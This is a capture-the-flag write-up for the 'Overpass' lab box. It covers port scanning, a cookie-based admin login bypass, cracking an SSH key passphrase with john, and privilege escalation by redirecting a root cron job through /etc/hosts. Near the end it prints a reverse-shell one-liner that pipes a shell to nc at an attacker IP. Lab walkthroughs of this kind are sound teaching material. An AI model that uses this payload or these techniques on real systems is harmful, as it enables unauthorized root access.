🔓Overpass

What happens when some broke CompSci students make a password manager?

1.Reconnaisance

1.1 Nmap

Using nmap to scan and identify open ports and services

  • We find port 22 and 80 open with ssh and http server running respectively

  • Going over to pot 80, we see a webpage for a password manager

2. Scanning

2.1 Gobuster

  • Directory brute forcing using gobuster on port 80

  • Going over to /admin we see a login page. Default credentials do not work

  • While inspecting the source code, we see a login.js file which is responsible for the login page

  • From the part of the script above, we find out that, as long as the cookie SessionToken is present in the request with any value, it gives access to the admin page

  • We can use Storage tab using Inspect element to add the cookie with the name SessionToken and refresh the page

  • We find the ssh private key of James, saving it as id_rsa

  • Changing its permission with chmod 600 id_rsa

  • While trying to log on via ssh, it asks for a passphrase

3. Gaining access

3.1 SSH2john

  • We can use john to crack the passphrase of the id_rsa key

  • We need to convert into a recognizable hash format for john using ssh2john and save it as hash.txt and then use john to crack it

  • We get the passphrase james13

  • SSHing as James and using the passphrase, we get access

  • We get the user.txt flag in the home folder of james

  • There is also a todo.txt file

  • A mention of automated scripts. Cronjobs maybe?

4 Privilege Escalation

4.1 Cronjobs

  • Viewing the cronjobs from /etc/crontab

  • We find that a script located in overpass.thm/downloads/src/buildscript.sh is being run every minute.

  • We cannot edit the file itself as it makes a call to overpass.thm to get the script

  • Exploring further, we find that we have write permission on /etc/hosts file

  • We can modify the IP of overpass.thm to our local machine IP and set up a folder structure similar to the one above to host our own buildscript.sh

  • In our local machine, we need to create the directory structure www/downloads/src and create a buuildscript.sh in the src folder with the reverse shell rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.66.165 1234 >/tmp/f%

  • Now we need to start a python server on port 80 on the www folder and a netcat listener on port 1234

  • Stabilizing the shell, we are root

PreviousMr RobotNextPickle Rick

Last updated